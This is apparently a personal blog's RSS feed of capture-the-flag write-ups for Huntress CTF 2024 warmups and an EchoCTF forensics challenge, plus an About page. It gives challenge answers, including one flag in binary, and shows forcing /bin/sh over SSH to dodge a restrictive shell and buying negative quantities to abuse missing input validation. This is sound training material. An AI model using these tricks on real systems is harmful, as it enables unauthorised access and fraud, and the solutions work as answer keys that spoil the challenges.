&lt;p&gt;&lt;code&gt;01100110 01101100 01100001 01100111 01111011 01100100 00110000 00110001 00110100 00110111 00110001 00110111 00110000 00110010 01100001 00110001 00110000 00110001 00110011 00110100 01100011 01100100 01100001 01100100 00110001 01100100 01100100 01100100 01100101 00110000 00110110 00110110 00110111 00111000 01100110 00110010 01100110 01111101&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;This was a challenge from day one. Pretty obviously binary data. Pasted it in &lt;a class=&#34;link&#34; href=&#34;https://cyberchef.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Cyberchef&lt;/a&gt; and got the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/too-many-bits/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Cyberchef and flag&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Warmup - TXT Message</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-txt-message/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-txt-message/</guid>
        <description>&lt;h1 id=&#34;txt-message&#34;&gt;TXT Message
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;Hmmm, have you seen some of the strange DNS records for the &lt;code&gt;ctf.games&lt;/code&gt; domain? One of them sure is &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Od_%28Unix%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;od&lt;/a&gt;d&amp;hellip;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;The challenge description suggests some strange DNS records with &lt;code&gt;ctf.games&lt;/code&gt; I decided to lookup the DNS records. Further the title of the challenge says more. Since I put some time studying DNS protocol I am familiar with a &lt;code&gt;TXT&lt;/code&gt; query type that pulls the text data given by the domain administrator.&lt;/p&gt;
&lt;p&gt;Hence using the &lt;code&gt;dig&lt;/code&gt; command from the &lt;a class=&#34;link&#34; href=&#34;https://www.isc.org/bind/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;bind&lt;/a&gt;  with the query:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dig -t TXT ctf.games
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/txt-message/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;DNS response&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;We find a bunch of data in the answer section. It took me a few minutes but I recognized it is octal data. So plug it into Cyberchef and I got the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/txt-message/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Cyberchef and flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;On a unrelated note, I found there is a link to od in the challenge description which is a tool for octal dump while writing this writeup, suggesting we might encounter octal data. But I didn&amp;rsquo;t notice it.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Warmup - Typo</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-typo/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-typo/</guid>
        <description>&lt;h1 id=&#34;typo&#34;&gt;Typo
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;Gosh darnit, I keep entering a typo in my Linux command prompt!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This challenge was accompanied with a per-user instance&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;This challenge requires us to SSH into a provisioned per-user instance with the given password. While doing so, I was met with a train.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/typo/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Train output from SSH&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;If you have been around the linux community for sometime, you should have been familiar with the &lt;code&gt;sl&lt;/code&gt; command. This command was intended to show the user that they mistyped &lt;code&gt;ls&lt;/code&gt; in a fun way.&lt;/p&gt;
&lt;p&gt;But our problem is the connection shows us the train and exits without providing us a chance to interact with the instance. I thought it was because of hard-coded .bashrc file that  contained &lt;code&gt;sl&lt;/code&gt; command and made the shell exit.&lt;/p&gt;
&lt;p&gt;So I worked around it with by specifying the shell to use when connecting to the instance. Since my theory was that it was because of .bashrc file, I intended to use another shell other than bash. Since almost all system contains the &lt;code&gt;sh&lt;/code&gt; shell, I thought of using it.&lt;/p&gt;
&lt;p&gt;With the following command, I SSHed into the instance and this time I got an interactive shell.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ssh -p &amp;lt;port&amp;gt; user@challenge.ctf.games -t /bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The flag was in a flag.txt in the directory right there.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/typo/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Flag&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Warmup - Unbelievable</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-unbelievable/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-unbelievable/</guid>
        <description>&lt;h1 id=&#34;unbelievable&#34;&gt;Unbelievable
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;Don&amp;rsquo;t believe everything you see on the Internet!&lt;/p&gt;
&lt;p&gt;Anyway, have you heard this intro soundtrack from Half-Life 3?&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/unbelievable/Half-Life_3_OST.mp3&#34; &gt;Half-Life_3_OST.mp3&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Downloading the file, it seems to be an MP3 audio. So I played it with aplay from ALSA driver. It actually played but it was just random noise for a couple seconds.&lt;/p&gt;
&lt;p&gt;Since the challenge description tells about misinformation I decided to check if it is really a audio file. So I checked it with the file utility.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/unbelievable/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;file utility output&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So it appears this is not an audio at all. I have no idea how &lt;code&gt;aplay&lt;/code&gt; played it. So anyway treating it as a image file and I opened it and the flag was in the image.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/unbelievable/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;One might use OCR techniques to read the flag or just type from it manually.&lt;/p&gt;
&lt;p&gt;Bonus point: If you use something like the &lt;a class=&#34;link&#34; href=&#34;https://github.com/ranger/ranger&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;ranger&lt;/a&gt; file browser, it just shows you the flag directly. No fuss.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/unbelievable/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;ranger&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Warmup - Whamazon</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-whamazon/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-whamazon/</guid>
        <description>&lt;h1 id=&#34;whamazon&#34;&gt;Whamazon
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;Wham! Bam! Amazon is entering the hacking business! Can you buy a flag?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This challenge was accompanied with a per-user instance&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Starting the instance, I was provisioned a URL to an page. It was a &lt;a class=&#34;link&#34; href=&#34;https://github.com/yudai/gotty&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;GoTTY&lt;/a&gt; application. I was greeted with a menu to begin with.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/whamazon/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Greeting&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Examining the inventory, it tells that we have to buy something.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/whamazon/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;examining inventory&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So, I decided to look at what was for sale.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/whamazon/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;sale menu&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;It appears we have 50 dollars in my account and among many items the flag was also listed. So I went ahead and tried to buy it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/whamazon/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;attempt to buy flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So we need quite the sum of money to buy the flag. At this point I thought there would be some session variable or token that contains the available balance on my account. I even went to inspect the web socket traffic and decode it in attempts to find it.&lt;/p&gt;
&lt;p&gt;And then it hit me. I tried to buy -1 quantity of Apples. And it worked.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/whamazon/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;the trick&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So it is one of the oldest tricks in the book, insufficient input validation. So we should be able to use this to add money to our account and buy the flag. And that&amp;rsquo;s exactly what I did.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/whamazon/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;exploiting&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So now that I have the balance I went ahead and bought the flag. But that&amp;rsquo;s not it. I was invited to a Rock, Paper, Scissors and the program said it won&amp;rsquo;t choose scissors. So I chose rock. It was a tie.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/whamazon/7.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;buying flag and game&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;It played rock everytime, so when I chose paper I won and it said the flag was added to my inventory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/whamazon/8.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;winning game&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Then I quit the game and the buy menu and opened my inventory. The flag was right there.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/whamazon/9.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;inventory and flag&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>The Bin in the Dump - EchoCTF Writeup</title>
        <link>https://itsmonish.pages.dev/blog/echoctf-the-bin-in-the-dump/</link>
        <pubDate>Mon, 21 Apr 2025 22:27:44 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/echoctf-the-bin-in-the-dump/</guid>
        <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction
&lt;/h2&gt;&lt;p&gt;This writeup deals with the &lt;a class=&#34;link&#34; href=&#34;https://echoctf.red/challenge/8&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;The bin in the dump&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://echoctf.red/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;EchoCTF&lt;/a&gt;. This challenge focused on forensic examination of a filesystem image. A compressed gunzip archive &lt;a class=&#34;link&#34; href=&#34;https://echoctf.red/uploads/the_bin_in_the.dump.gz&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;the_bin_in_the.dump.gz&lt;/a&gt; contains the filesystem image to be examined.&lt;/p&gt;
&lt;p&gt;Challenge Statement:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;This forensics exercise is about demonstrating some basic tasks that are required in order to trace an attack on a compromised system.

The actual data are illustrative and no actual trojans or exploits exist in any of the files

You are given a filesystem dump and you are tasked to find and report the following details...
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;writeup&#34;&gt;Writeup
&lt;/h2&gt;&lt;p&gt;First things first. Before jumping into the questions we need to understand what kind of file system we are dealing with.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_thebininthedump/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;file command output&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So the output of file command tells us this is a linux-based EXT3 file system. Now we can try to list some contents of the file system using &lt;code&gt;fls&lt;/code&gt; from &lt;a class=&#34;link&#34; href=&#34;https://sleuthkit.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;The Slueth Kit&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_thebininthedump/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;fls output&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;It looks like we got a root file system at our hands.&lt;/p&gt;
&lt;p&gt;Now the questions. The questions are not answered in order as a single output command can give more than one.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Q3. What is the UUID of the filesystem? (100 pts)
Analyze the file and provide the UUID of the filesystem as an answer
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As from the file command, we already know the UUID. So that&amp;rsquo;s one.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Q1. What is the filesystem LABEL? (100 pts)
Analyze the file and provide the filesystem LABEL as an answer

Q2. What is the last folder this file system was mounted under? (100 pts)
Analyze the file and find what was the last folder this file system was mounted under. Provide the folder name verbatim as an answer.

Q4. When was the filesystem created? (100 pts)
Analyze the filesystem and report what was its creation date and time in UTC. The date format is: YYYY-MM-DD HH:MM:SS

Q5. When was the filesystem last write time? (100 pts)
Analyze the filesystem and report what was the last write date and time in UTC. The date format is: YYYY-MM-DD HH:MM:SS.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now, all this information can be obtained in a number of ways. Here we use &lt;code&gt;debugfs&lt;/code&gt;. Using the tool with the &lt;code&gt;-R&lt;/code&gt; option allows us to execute a single &amp;ldquo;request&amp;rdquo; command. Otherwise the tool is interactive. It&amp;rsquo;s quite the loaded tool for debugging and examining EXT2/3/4 file systems.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_thebininthedump/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;debugfs output&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now we have a lot of information on the screen. We have our filesystem label as the volume name, Last mounted on folder name, file system creation date, last write date among them. Note that there is a matter of localization in the dates. The question specifies we need it in UTC, but I&amp;rsquo;m on IST, so I had to convert the time.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Q6. What is the file modified by the attacker? (150 pts)
Analyze the filesystem and report what was the full path of the filename that was modified by the attacker?
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now it&amp;rsquo;s time to get a little creative. Assuming that the file system dump was created after the supposed &amp;ldquo;attack&amp;rdquo;, the file modified by attacker needs to have the most recent last modified date. Now I&amp;rsquo;m not familiar with ways to directly find out the most recently modified file directly.&lt;/p&gt;
&lt;p&gt;So I dumped all the files in to my local file system using a tool called &lt;code&gt;testdisk&lt;/code&gt; (&lt;a class=&#34;link&#34; href=&#34;https://www.cgsecurity.org/wiki/TestDisk&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;about the tool&lt;/a&gt;). This can also be used to recover recently deleted files.&lt;/p&gt;
&lt;p&gt;The tool has a ncurses-like interface with nice hints. So it is pretty self-explanatory. One can also use &lt;code&gt;tsk_recover&lt;/code&gt; tool from TSK for the same purpose as well. But the problem is &lt;code&gt;tsk_recover&lt;/code&gt; does not preserve the modification date from the original file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_thebininthedump/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;recovering&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now you can use the basic &lt;code&gt;ls&lt;/code&gt; command in long list mode to find the most recently modified one manually. But we can use &lt;code&gt;find&lt;/code&gt; tool with some pipeline magic to do that for us. The following is the command I ended up going with:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;find output -type f -exec stat --format &amp;#39;%Y |%y %n &amp;#39; &amp;#39;{}&amp;#39; \; | sort -nr | awk -F&amp;#39;|&amp;#39;&amp;#39; &amp;#39;{print $2}&amp;#39; | head -10
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_thebininthedump/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;recently modified&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;On top of the list we have our answer which seems to have modified in 2006. The others are from 2002. So that&amp;rsquo;s our answer.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Q7. What is the full path of the ETSCTF binary that got deleted? (250 pts)
Analyze the filesystem and report what was the full path of the ETSCTF file (the file may have extension)?
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now any file we delete is not actually wiped from the disk by default. Their inodes are declared as free and will be overwritten eventually. But until that happens the data is still present in the same location. Most data recovery programs use this.&lt;/p&gt;
&lt;p&gt;Parsing through all the inodes can be a tedious task. Lucky for us, TSK provides a tool &lt;code&gt;fls&lt;/code&gt; that is used to list all the files in a file system image. One can make it to return only deleted entries with the &lt;code&gt;-d&lt;/code&gt; option.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_thebininthedump/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;deleted entries&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Above is a snippet of the output. Note that we have a few entries with a non-zero number and others with a 0. As far as I know we can only recover the non-zero entries. The numbers are nothing but the inode numbers of that particular file or directory. So I think a zero means overwritten inode.&lt;/p&gt;
&lt;p&gt;Among the entries we have a peculiar directory &lt;code&gt;w0W_d1s_iz_a_hidden_f0ld3r&lt;/code&gt;. Yes it is a directory. Notice the &amp;rsquo;l&amp;rsquo;s, &amp;lsquo;r&amp;rsquo;s and &amp;rsquo;d&amp;rsquo;s? That&amp;rsquo;s what kind of data was stored in that inode. &amp;rsquo;d&amp;rsquo; means directory.&lt;/p&gt;
&lt;p&gt;But the question is for a file. So maybe it is in the directory? But if it was in the directory and if it was recoverable it should be in the dumped files right?&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_thebininthedump/7.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;no file&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Nope. Not there. It&amp;rsquo;s an empty directory. But let&amp;rsquo;s not give up just yet. There is tool called &lt;code&gt;extundelete&lt;/code&gt;(&lt;a class=&#34;link&#34; href=&#34;https://extundelete.sourceforge.net/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;about the tool&lt;/a&gt;) that is specific for recovering data from EXT partitions. Using the &lt;code&gt;--restore-all&lt;/code&gt; option we can see 2 inodes are recovered.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_thebininthedump/8.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;undelete&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Listing the files recovered, we have:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_thebininthedump/9.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;recovered list&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So there is our deleted file and the answer.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt; Q8: What is the flag that would have been displayed by the ETSCTF binary? (300 pts)
Analyze the filesystem and restore the deleted ETSCTF file. If you only change the first 2 bytes you may be able to run this... If you run this you will be able to get a flag. Give it as an answer here verbatim
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_thebininthedump/10.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;hex dump&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;By looking at the hex dump, we can say it is not a JPEG. But it doesn&amp;rsquo;t have any other known file signature as well. But the question says we have to modify the first 2 bytes. So what should we change to? The third and fourth bytes are &amp;lsquo;L&amp;rsquo; and &amp;lsquo;F&amp;rsquo; respectively. So it is safe to assume that this may be an ELF binary.&lt;/p&gt;
&lt;p&gt;Open the binary in a hex editor of choice and change the first two bytes to &amp;ldquo;7F 45&amp;rdquo; as the file signature for ELF is &amp;ldquo;7F 45 4C 46&amp;rdquo; according to &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/List_of_file_signatures&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Do that and slap on the executable bit on the binary with &lt;code&gt;chmod +x&lt;/code&gt;, we can execute it. Executing it yields:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/echoctf_thebininthedump/11.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion
&lt;/h2&gt;&lt;p&gt;And that brings the challenge to an end. I wouldn&amp;rsquo;t say it as easy as the challenge description puts it. But if you&amp;rsquo;re strong with the fundamentals and know how to search for tools to do things, it is doable.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>About Me</title>
        <link>https://itsmonish.pages.dev/about/</link>
        <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
        
        <guid>https://itsmonish.pages.dev/about/</guid>
        <description>&lt;h2 id=&#34;hello-there&#34;&gt;Hello there!!
&lt;/h2&gt;&lt;p&gt;I&amp;rsquo;m Monish. Generally speaking a Cybersecurity and Linux Enthusiast, but always curious about computers in general.&lt;/p&gt;
&lt;h2 id=&#34;education-and-certifications&#34;&gt;Education and Certifications
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Masters in Technology: Computer Science and Engineering (Pursuing).&lt;/li&gt;
&lt;li&gt;Bachelors in Technology: Information Technology (2020 - 2024).&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.credly.com/badges/6aac3c2e-cb90-4aef-a5d2-e55af5cf5023/public_url&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;CompTIA Security+ SY0-701 Certified.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.credly.com/badges/fe24ce4a-4e5b-4b76-8f98-77299b5b8948/public_url&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;CCNA: Introduction to Networks.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;skills-and-interests&#34;&gt;Skills and interests
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Proficient in Python, Go, Bash, C/C++, Javascript, Java. Quite good with the backend stuffs, frontends on the other hand are not really my forte. Can also work with SQL and NoSQL databases.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Know my way around operating systems. Linux, BSDs and even Windows. Have been a mainstream linux user for several years. &lt;em&gt;I use arch btw&lt;/em&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;In Networks, I have spent a fair share of time studying protocols, inspecting packets in Wireshark and socket programming.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Good with cloud environments. So far played around with AWS and GCP only. But you know names change, but the tech is mostly the same.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And can go on and on about tools. Familiar with operational tools like virtualization(QEMU), Containerization(Docker and Kubernetes) to Security tools like Firewalls, Pentesting tools (Metasploit, Burpsuite, etc&amp;hellip;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Thanks to the endless CTF challenges, I can do anything from Static and Dynamic Malware Analysis, basic forensics, web exploitation, log analysis etc. Quite good with tooling around these areas as well.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lately been experimenting and learning on using eBPF.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;contacts&#34;&gt;Contacts
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Github: &lt;a class=&#34;link&#34; href=&#34;https://github.com/ItsMonish&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;ItsMonish&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;LinkedIn: &lt;a class=&#34;link&#34; href=&#34;https://www.linkedin.com/in/monish-kumar-a-b17119281/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Monish Kumar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mail: &lt;a class=&#34;link&#34; href=&#34;mailto:monishkumar03@protonmail.com&#34; &gt;monishkumar03@protonmail.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        </item>
        <item>
        <title>Search</title>
        <link>https://itsmonish.pages.dev/page/search/</link>
        <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
        
        <guid>https://itsmonish.pages.dev/page/search/</guid>
        <description></description>
        </item>
        
    </channel>
</rss>
